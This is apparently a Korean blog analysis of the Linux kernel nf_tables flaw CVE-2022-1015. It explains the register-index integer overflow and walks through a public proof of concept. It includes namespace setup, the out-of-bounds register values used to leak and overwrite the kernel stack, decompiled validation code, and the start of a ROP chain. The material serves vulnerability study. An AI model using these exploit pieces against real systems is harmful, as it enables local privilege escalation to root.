일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- xz-utils
- liblzma
- Kernel
- cwe-506
- newbie
- kernel build
- kernel img
- rootfs
- CVE-2024-3094
- 백도어
- kernel image
- Today
- Total
ZZoMb1E
[CVE] nf_tables (CVE-2022-1015) 본문
※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다.
※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다.
1. 분석대상
nf_tables
- Linux Kernel의 Netfilter 시스템에서 동작하는 규칙 기반 packit filtering 시스템이다.
Netfilter
- Linux에서 패킷 필터링과 패킷 처리를 관리하는 핵심 component
2. CVE Code
CVE-2022-1015
[Linux/net/netfilter/nf_tables_api.c에서 AAW 취약점이 발생]
nf_tables에서 발생한 Stack Out Of Bounds 취약점으로, nf_tables를 활용해서 네트워크 패킷에 대한 read, write 등의 기능을 수행할 때, 표현식에서의 범위 검증 부분이 취약하여 Intager Overflow가 발생한다.
CWE-787
- Out Of Bounds
- 버퍼의 경계를 벗어난 메모리 또는 유효하지 않는 메모리 쓰기
3. CVE 관련 정보
https://cwe.mitre.org/data/definitions/787.html
CWE - CWE-787: Out-of-bounds Write (4.15)
div.collapseblock { display:inline} CWE-787: Out-of-bounds WriteWeakness ID: 787Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilitiesAbstraction: BaseBase - a weakness that is still mostly independent of a resource or t
cwe.mitre.org
https://nvd.nist.gov/vuln/detail/CVE-2022-1015
NVD - CVE-2022-1015
CVE-2022-1015 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description A flaw was found in the Linux kernel in linux/n
nvd.nist.gov
4. 분석 환경 및 구현
nf_tables 취약점을 분석하기 위해서는 하나의 조건이 필요하다.
- CAP_NET_ADMIN 권한
유저에 대한 정보가 namespace에 격리 혹은 스스로 namespace를 생성할 수 있어야 한다.
이는 일반적인 Linux에서 kconfig에 CONFIG_USER_NS가 활성화 돼있는데 이로 인해 권한 상승 공격이 성공할 수 있는 것이다.
CONFIG_USER_NS
- User Namespace를 활성하는 옵션으로 프로세스가 사용자 및 그룹 ID를 Namespace에서 독립적으로 관리할 수 있도록 하는 설정이다.
- 이 설정으로 인해 특정 사용자가 제한된 범위 내에서 root 권한을 가진 것처럼 동작이 가능해진다.
Kernel 5.12 버젼의 bzImage를 build 하여 진행한다.
빌드 방법은 아래 링크를 참고하면 된다.
https://whrdud727.tistory.com/entry/KERNEL-build
[KERNEL] build
※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다. ※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다. Kernel 1-day를 분석하
whrdud727.tistory.com
5. Target Component Analyze
취약점에 대한 분석을 수행하기 전에 Target이 어떤 기능을 지원하고 어떤 구조로 되어 있는지를 분석해 보겠다.
Exploit을 위해서 규칙 테이블을 구축을 해야 하기 때문에 어떤 함수가 어떤 동작을 하는지 흐름을 이해해야 한다.
Netlink
- User가 Kernel에 네트워크 정보를 전달하기 위해 사용되는 Interface
nf_tables
- 규칙 기반 패킷 필터링 시스템
- component
- table
- chain을 저장
- 패킷 필터링이 동작할 네트워크 계층 프로토콜을 지정 (ipv4, ipv6, etc...)
- chain
- rule, hook 데이터 구성
- hook : 어느 시점에 패킷 필터링을 수행할지 결정 (송신 / 수신)
- rule, hook 데이터 구성
- rule
- expr을 사용하여 규칙 생성 가능
- expr
- 규칙 표현식
- table
Netlink
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
NET_MSG_NEWTABLE의 값으로 Message를 전송하고 Kernel에서 nfnetlink_rcv를 통해 수신한다.
이때 Message에 대한 오류 검증을 수행하는데 Message 동작이 이전에 수행된 적이 없는 경우 nfnetlink_rcv_skb_batch()가 수행되고 그렇지 않은 경우면은 netlink_rcv_skb->nfnetlink_rcv_msg()가 실행된다.
이후 Message에 담긴 동작은 아래의 코드와 같이 실행되게 된다.
err = nc->call(net, net->nfnl, skb, nlh,
(const struct nlattr **)cda,
extack);
Message에 담긴 동작의 경우 nfnl_callback 구조체에서 정의해주고 있다.
static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
[NFT_MSG_NEWTABLE] = {
.call = nf_tables_newtable,
.type = NFNL_CB_BATCH,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
[NFT_MSG_GETTABLE] = {
.call = nf_tables_gettable,
.type = NFNL_CB_RCU,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
[NFT_MSG_DELTABLE] = {
.call = nf_tables_deltable,
.type = NFNL_CB_BATCH,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
...
NFT_MSG_NEWTABLE을 통해 nf_tables_new_table()가 호출되고 이로 인해 nf_tables에 table component가 생성되게 된다.
아래 부분은 이제 PoC에서 Exploit을 위해 사용하는 함수들 및 개념에 해당된다.
table
nft-table-add.c 코드를 통해 table이 어떤 요소들로 채워졌는지 확인이 가능하다.
static struct nftnl_table *table_add_parse(int argc, char *argv[])
{
struct nftnl_table *t;
uint16_t family;
if (strcmp(argv[1], "ip") == 0)
family = NFPROTO_IPV4;
else if (strcmp(argv[1], "ip6") == 0)
family = NFPROTO_IPV6;
else if (strcmp(argv[1], "inet") == 0)
family = NFPROTO_INET;
else if (strcmp(argv[1], "bridge") == 0)
family = NFPROTO_BRIDGE;
else if (strcmp(argv[1], "arp") == 0)
family = NFPROTO_ARP;
else {
fprintf(stderr, "Unknown family: ip, ip6, inet, bridge, arp\n");
return NULL;
}
t = nftnl_table_alloc();
if (t == NULL) {
perror("OOM");
return NULL;
}
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, argv[2]);
return t;
}
NFTNL_TABLE_NAME : table의 이름
NFTNL_TABLE_FAMILY : NFTNL_TABLE_NAME에 추가될 chain이 어떤 네트워크 계층 프로토콜의 패킷을 필터링할지 결정
chian
static struct nftnl_chain *chain_add_parse(int argc, char *argv[])
{
struct nftnl_chain *t;
int hooknum = 0;
if (argc == 6) {
/* This is a base chain, set the hook number */
if (strcmp(argv[4], "NF_INET_LOCAL_IN") == 0)
hooknum = NF_INET_LOCAL_IN;
else if (strcmp(argv[4], "NF_INET_LOCAL_OUT") == 0)
hooknum = NF_INET_LOCAL_OUT;
else if (strcmp(argv[4], "NF_INET_PRE_ROUTING") == 0)
hooknum = NF_INET_PRE_ROUTING;
else if (strcmp(argv[4], "NF_INET_POST_ROUTING") == 0)
hooknum = NF_INET_POST_ROUTING;
else if (strcmp(argv[4], "NF_INET_FORWARD") == 0)
hooknum = NF_INET_FORWARD;
else {
fprintf(stderr, "Unknown hook: %s\n", argv[4]);
return NULL;
}
}
t = nftnl_chain_alloc();
if (t == NULL) {
perror("OOM");
return NULL;
}
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, argv[2]);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, argv[3]);
if (argc == 6) {
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hooknum);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, atoi(argv[5]));
}
return t;
}
NFTNL_CHAIN_TABLE : chain이 추가될 table 이름
NFTNL_CHAIN_NAME : chain의 이름
NFTNL_CHAIN_HOOKNUM : chain이 동작할 Hook 위치
rule / expr
static struct nftnl_rule *setup_rule(uint8_t family, const char *table,
const char *chain, const char *handle)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
if (handle != NULL) {
handle_num = atoll(handle);
nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, handle_num);
}
proto = IPPROTO_TCP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(22);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_counter(r);
return r;
}
NFTNL_RULE_TABLE : rule이 추가될 table 이름
NFTNL_RULE_CHAIN : rule이 추가될 chain 이름
payload
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
add_payload()는 패킷의 데이터를 레지스터에 복사하는 함수이다.
- base : 패킷의 어떤 구조에서 시작을 할 것인지 결정
- DREG : 어떤 레지스터에 데이터를 복사할 것인지 결정
- OFFSET : 복사할 데이터의 offset 결정
- LEN : 복사할 데이터 길이를 결정
set_payload()는 반대로 레지스터의 데이터를 패킷에 복사하는 함수이다.
cmp
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, `NFTNL_EXPR_CMP_SREG` , sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
레지스터의 값을 비교하는 표현식으로 비교 대상, 연산 종류, 비교할 값과 길이를 지정하여 사용한다.
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, `NFTNL_EXPR_CMP_SREG` , sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
- NFT_PAYLOAD_NETWORK_HEADER를 기준으로 offsetof(struct iphdr, protocol) 만큼 떨어진 패킷 데이터를 NFT_REG_1에 1바이트 복사
- NFT_REG_1와 IPPROTO_TCP를 비교
- NFT_PAYLOAD_TRANSPORT_HEADER를 기준으로 offsetof(struct tcphdr, dest) 만큼 떨어진 패킷 데이터를 NFT_REG_1에 2바이트 복사
- NFT_REG_1이 htons(22) 인지를 비교
- counter 증가
6. Target Action
앞에서 레지스터를 사용하여 데이터를 입력하거나 쓴다고 언급을 했었다. CVE-2022-1015는 Netfilter의 레지스터 연산 과정을 악용하는 것이기 때문에 어떤 구성이 어떻게 이루어지는지를 알아야 한다.
#https://github.com/torvalds/linux/blob/master/include/net/netfilter/nf_tables.h#L119
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
...
NFT_REG32_15,
};
struct nft_verdict {
u32 code;
struct nft_chain *chain;
};
struct nft_regs {
union {
u32 data[20];
struct nft_verdict verdict;
};
};
레지스터에 대한 정의는 위와 같이 구성되어 있다.
레지스터는 NFT_REG_1 ~ NFT_REG_4, NFT_REG32_0 ~ NFT_REG_15 그리고 NFT_REG_VERDICT로 구성되어 있다.
- NFT_REG_1 ~ NFT_REG_4 :16 bytes register
- NFT_REG_1은 NFT_REG32_0 ~ NFT_REG_3과 대응 (나머지도 동일)
- NFT_REG_VERDICT : 판정 레지스터
- cmp expr의 결과에 따라 nft->verdict->code 변수의 값을 설정하여 이후의 chain 흐름을 조작
chain을 추가하는 과정의 흐름을 살펴보도록 하겠다.
#https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L158
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
...
rule = *rules;
regs.verdict.code = NFT_CONTINUE;
for (; *rules ; rules++) {
rule = *rules;
nft_rule_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
switch (regs.verdict.code) {
case NFT_BREAK:
regs.verdict.code = NFT_CONTINUE;
continue;
case NFT_CONTINUE:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
break;
}
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
return regs.verdict.code;
}
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rules = rules + 1;
stackptr++;
fallthrough;
case NFT_GOTO:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE:
case NFT_RETURN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RETURN);
break;
default:
WARN_ON(1);
}
...
}
NFTNL_CHAIN_HOOKNUM에 의해서 특정 함수가 실행되면은 nft_do_chain()가 실행되게 된다.
이때 해당 chain의 expr을 차례대로 수행한다.
chain에서 rule 데이터를 가져오고, expr을 순서대로 실행할 때 expr_call_ops_eval()을 실행한다.
이후 판정 레지스터인 NFT_REG_VERDICT의 값을 확인해 가며 흐름을 제어하는 과정을 가진다.
expr이 동작가능한 함수들이다.
#https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L132
static void expr_call_ops_eval(const struct nft_expr *expr,
struct nft_regs *regs,
struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
do { if ((e) == (unsigned long)(fun)) \
return fun(expr, regs, pkt); } while (0)
X(e, nft_payload_eval);
X(e, nft_cmp_eval);
X(e, nft_meta_get_eval);
X(e, nft_lookup_eval);
X(e, nft_range_eval);
X(e, nft_immediate_eval);
X(e, nft_byteorder_eval);
X(e, nft_dynset_eval);
X(e, nft_rt_get_eval);
X(e, nft_bitwise_eval);
#undef X
#endif /* CONFIG_RETPOLINE */
expr->ops->eval(expr, regs, pkt);
}
7. Vulnerability
취약점은 nft_register를 읽어와 처리하는 과정에서 발생하게 된다.
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg;
int err;
reg = nft_parse_register(attr);
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
*sreg = reg;
return 0;
}
int nft_parse_register_store(const struct nft_ctx *ctx,
const struct nlattr *attr, u8 *dreg,
const struct nft_data *data,
enum nft_data_types type, unsigned int len)
{
int err;
u32 reg;
reg = nft_parse_register(attr);
err = nft_validate_register_store(ctx, reg, data, type, len);
if (err < 0)
return err;
*dreg = reg;
return 0;
}
각각 dreg, sreg를 파싱 하는 역할을 수행하는 함수이다.
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, 0, 1);
위 함수에 의해서 expr이 포함된 규칙 추가 요청에 대한 Netlink Message를 송신한다. 이후 Kernel에서 nft_parse_register_load()를 통해 NFT_REG_1이 정상 레지스터인지를 검사를 수행한다.
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}
nft_parse_registser_load()에서 호출되는 함수로 내부에서 레지스터에 대한 검사를 수행하고, 레지스터의 정보를 통해 실제 레지스터의 위치를 반환한다.
NFT_REG_1의 값이 1로 정의되어 있는 경우
- 1 * 16(NFT_REG_SIZE) / 4 (NFT_REG32_SIZE)의 결과 값인 4가 반환
- 이때 4는 4 bytes * 4 = 16 bytes를 의미
NFT_REG32_00의 경우 nft_registers 열거형에서 8로 정의
- default 문에 의해 8 * 16 / 4 - 8 = 4가 반환
nft_regs는 16 bytes와 4 bytes 레지스터를 혼용해서 사용하기 때문에 위와 같이 구분을 위해 코드가 구성되어 있다.
이때 NFT_REG32_00 ~ NFT_REG32_15가 아닌 다른 값에 대한 부분은 case가 아닌 default 구문에 의해 한번에 처리를 수행하기 때문에 다른 범위의 값이 들어가는 것에 대한 방지 대책이 존재하지 않는다.
static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
return -ERANGE;
return 0;
}
이후 nft_validate_register_load()에서 인자로 실제 레지스터의 위치를 받게 되는데, 이 위치가 판정 레지스터인 NFT_REG_VERDICT를 침범하거나 레지스터 범위를 벗어나는지 검사를 수행한다.
만약 nft_parse_register()에서 reg가 매우 큰 값이 들어가게 되면 reg * NFT_REG32_SIZE + len 연산 과정에서 Intager Overflow가 발생하게 되게 된다.
범위 검증을 우회할 수 있다면 payload 관련 함수들을 통해 nft_regs 구조체를 벗어난 메모리를 복사할 수 있기 때문에 Stack Out Of Boudns가 발생하게 되는 것이다.
8. PoC Analyze
Kernel 1-day를 처음 시도 해보면서 직접 Exploit 코드를 작성해보고자 하였지만 아직 Netfilter의 nf_tables에 대한 사용 방법이 미숙하여 PoC 코드 하나를 분석해 보고 시도해보고자 한다.
- Stack OOB를 발생시키는 expr가 담긴 chain 구성
- 패킷을 송신하여 Kernel Stack 데이터를 패킷에 보식하거나 패킷의 데이터를 Kernel Stack에 복사할 수 있게됨
- KROP 공격
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
void init_namespace(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
write_to_file("/proc/self/setgroups", "deny");
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
int main(int argc, char *argv[])
{
init_cpu();
init_namespace();
system("ip addr add 127.0.0.1/8 dev lo");
system("ip link set lo up");
}
User 영역에서 nf_tables를 안정적으로 이용하기 위한 코드이다
- init_cpu()
- Exploit 코드의 프로세스를 하나의 CPU 코어에 binding하는 것으로 Exploit을 수행할 때 더 안정적으로 수행하도록 설정하는 부분이다.
- init_namespace()
- Exploit 코드의 프로세스를 네트워크 namespace로 격리하는 함수로 앞서 언급했던 CAP_NET_ADMIN 권한을 사용하기 위해 추가된 부분이다.
- main()
- loopback ip를 활성화하는 함수이다.
- loopback :물리적인 네트워크 인터페이스를 거치지 않고, 호스트 시스템 내부에서 네트워크 패킷을 전달
- loopback ip를 활성화하는 함수이다.
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(1234);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc, 0x20, 0x30);
memory leak을 수행하기 위해 패킷을 구성하는 코드이다.
set_payload_expr()을 통해 memory leak을 수행하는데, 0xfffffffc 레지스터가 담긴 set_payload 표현식을 사용하여 취약점을 트리거 한다. 이로 인해 범위에서 벗어난 메모리의 값을 패킷에 복사할 수 있게 된다.
이때 복사된 패킷을 loopback에서 설정한 ip를 통해 leak 할 수 있다.
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(8080);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);
payload expr은 패킷의 데이터를 레지스터로 복사하는 역할을 수행한다. (memory leak과는 반대)
이를 통해 ROP payload를 전송하여 흐름을 제어할 수 있다.
#breakpoint
leak breakpoint setting
: nft_payload_set_eval->skb_store_bits->memcpy
ROP breakpoint setting
: nft_payload_eval->skb_copy_bits->memcpy
r2u breakpoint setting
: nft_payload_eval->skb_copy_bits->memcpy
nft_parse_register_store
nft_parse_register_load
nft_validate_register_store
nf_tables_newrule
breakpoints 설정들은 위의 함수들 내부에서 수행했다.
__int64 __fastcall nft_parse_register_store(
__int64 a1,
__int64 a2,
_BYTE *a3,
__int64 a4,
unsigned int a5,
unsigned int a6)
{
unsigned __int32 v7; // eax
unsigned int v8; // ebx
__int64 result; // rax
v7 = _byteswap_ulong(*(_DWORD *)(a2 + 4)); // _byteswap_ulong->little endian
v8 = v7 - 4;
if ( v7 <= 4 )
v8 = (16 * v7) >> 2;
result = nft_validate_register_store(a1, v8, a4, a5, a6);
if ( (int)result >= 0 )
{
*a3 = v8;
return 0LL;
}
return result;
}
ㅍIDA를 통해 살펴본 nft_parse_register_store(), C코드를 통해 취약점을 살펴보았을 떄랑 다른 모습을 볼 수 있다, 이는 Compile 과정 혹은 코드 자체의 변화가 발생했을 것으로 추측된다. 현 게시글에서는 IDA를 기준으로 Debugging했다.
현재 nft_parse_register_store() 의 인자값은 라애와 같다.
a1 = 0xffffc900001afad8 → 0xffff888004878000 → 0x0000000000000001
a2 = 0xffff88800489c0d8 → 0x0100000000010008
*a3 = 0xffff88800479daa3 → 0x0000000000000000
a4 = 0x0
a5 = 0x0
a6 = 0x1
v7 = _byteswap_ulong(*(_DWORD *)(a2 + 4)); // _byteswap_ulong->little endian
먼저 위 코드를 살펴보겠다.
0xffffffff8191784b <nft_parse_register_store+11> mov eax, DWORD PTR [rsi+0x4]
위 코드에 의해서 v7 변수가 설정된다.
0xffffffff81917851 <nft_parse_register_store+17> bswap eax
이후 bswap 명령을 통해서 값을 설정한다.
이후 rbx인 v8은 다음과 같이 설정된다.0xfffffffd (0x1 - 0x4)
v8 = v7 - 4;
이후 조건문 내부의 v8 = (16 * v7) >> 2 연산에 의해 값이 0x4로 설정된다.
0x4의 값을 rsi 인자로 하여 nft_validate_register_store()를 호출한다.
__int64 __fastcall nft_validate_register_store(__int64 a1, unsigned int a2, __int64 a3, int a4, int a5)
{
unsigned int v5; // r12d
int v6; // eax
if ( a2 )
{
if ( a2 > 3 && a5 )
{
if ( a5 + 4 * a2 > 0x50 )
return (unsigned int)-34;
if ( !a3 || !a4 )
return 0;
}
return (unsigned int)-22;
}
if ( a4 != -256 )
return (unsigned int)-22;
v5 = 0;
if ( a3 )
{
if ( (unsigned int)(*(_DWORD *)a3 + 4) <= 1 )
{
v6 = nf_tables_check_loops(a1, *(_QWORD *)(a3 + 8));
if ( v6 <= 0 )
return (unsigned int)v6;
}
}
return v5;
}
내부에서 무결성 검증을 수행하는데 모든 조건을 통과하여 return 0이 반환된다.
__int64 __fastcall nft_parse_register_load(__int64 a1, _BYTE *a2, int a3)
{
unsigned __int32 v3; // eax
unsigned int v4; // ecx
bool v5; // cc
unsigned int v6; // eax
v3 = _byteswap_ulong(*(_DWORD *)(a1 + 4));
v4 = v3 - 4;
v5 = v3 <= 4;
v6 = (16 * v3) >> 2;
if ( !v5 )
v6 = v4;
if ( !a3 || v6 <= 3 )
return 4294967274LL;
if ( a3 + 4 * v6 > 0x50 )
return 4294967262LL;
*a2 = v6;
return 0LL;
}
이번에는 nft_parse_register_load()를 살펴보겠다. 여기서는 nft_validate_register_store()와 같은 함수를 따로 호출하지 않고 있다.
인자로 들어가는 값을 살펴보면 rdi에 0xfffffffc 값이 있는 것을 볼 수 있다.
해당 값은 Memory Leak을 위해 설정된 Stack Out Of Bounds를 유발하는 값이다.
v3 = _byteswap_ulong(*(_DWORD *)(a1 + 4));
v4 = v3 - 4;
nft_parse_register_store()와 동일하게 위 코드에 의해서 값을 불려온다.
v5 = v3 <= 4;
v6 = (16 * v3) >> 2;
이후 연산을 통해서 값이 0x3ffffff0으로 설정된다.
if ( !v5 )
v6 = v4;
if ( !a3 || v6 <= 3 )
return 4294967274LL;
if ( a3 + 4 * v6 > 0x50 )
return 4294967262LL;
a3 + 4 * v6의 결과값은 0x10이기 때문에 해당 조건문이 거짓이 되어 안의 return도 실행이 되지 않는다.
*a2 = v6;
이후 rsi의 값을 0xf8로 설정하게 된다.
이렇게 설정함으로서 nft_registers의 범위를 벗어난 범위의 데이터를 패킷에 복사하여 불려올 수 있게 된다.
이런 과정을 nf_tables_newrule() 내부에서 특정 조건이 완료될 때까지 반복한다.
while ( 1 )
{
v39 = *v36;
*v37 = *v36;
nft_parse_register_store = *(__int64 (__fastcall **)(unsigned __int64 *, _QWORD *, _QWORD *))(v39 + 24);
if ( nft_parse_register_store )
{
v41 = nft_parse_register_store(v106, v37, v36 + 2);
if ( v41 < 0 )
break;
}
if ( *(_QWORD *)(*v36 + 72LL) && *(_BYTE *)(a1 + 3005) != 2 )
*(_BYTE *)(a1 + 3005) = 1;
*v36 = 0LL;
v36 += 19;
v37 = (_QWORD *)((char *)v37 + *(unsigned int *)(*v37 + 16LL));
if ( (_QWORD *)(v22 + 152LL * (v27 - 1) + 152) == v36 )
{
v34 = v38;
v35 = v101;
v7 = v103;
goto LABEL_33;
}
반환 값이 음수이면 반복문 종료 / v36이 특정 위치에 도달하면 종료된다.
이후 ROP Chain을 보내는 값이 전송되었을 떄를 살펴보겠다. ( 0xffffffc8 )
v7 = _byteswap_ulong(*(_DWORD *)(a2 + 4));
위와 동일하게 rax값이 인자값으로 설정된다.
v8 = v7 - 4;
if ( v7 <= 4 )
v8 = (16 * v7) >> 2;
연산 과정을 통해 0x3fffff20이 설정되어 nft_validate_register_store()의 인자로 들어간다.
이제 해당 값을 가지고 무결성 검증을 수행하는데, 앞에서 정상적인 값이었을 때는 0x4가 들어가 무결성 검증을 정상적으로 통과할 수 있었는데 지금의 값은 매우 큰 값을 가지고 들어가기 때문에 검증을 통과하기엔느 힘들어 보인다.
if ( a2 )
{
if ( a2 > 3 && a5 )
{
if ( a5 + 4 * a2 > 0x50 )
return (unsigned int)-34;
if ( !a3 || !a4 )
return 0;
}
return (unsigned int)-22;
}
rsi의 인자값이 설정되있기 때문에 해당 조건문이 실행되게 된다.
초기 2개의 조건문(a2, a2>3 && a5)의 조건문은 바로 통과가 되는 것을 확인할 수가 있다.
if ( a5 + 4 * a2 > 0x50 )
return (unsigned int)-34;
if ( !a3 || !a4 )
return 0;
이후 크기에 대한 검증을 수행하는데 이때 rsi의 인자였던 매우 큰 값인 0x3fffff20이 들어가게 된다.
해당 값이 들어간다면 조건문이 참이 되어 내부의 return -34가 실행될 것으로 보이지만 여기서 Intager Overflow가 발생하기 떄문에 통과되는 것을 볼 수 있다.
이렇게 위의 조건문을 통과하여 무결성 검증을 통과할 수 있게된다.
rop_chain[chain_count] = 0xdeadbeef12341234; chain_count++;
rop_chain[chain_count] = kernel_base + 0xe02052; chain_count++; // cli; ret;
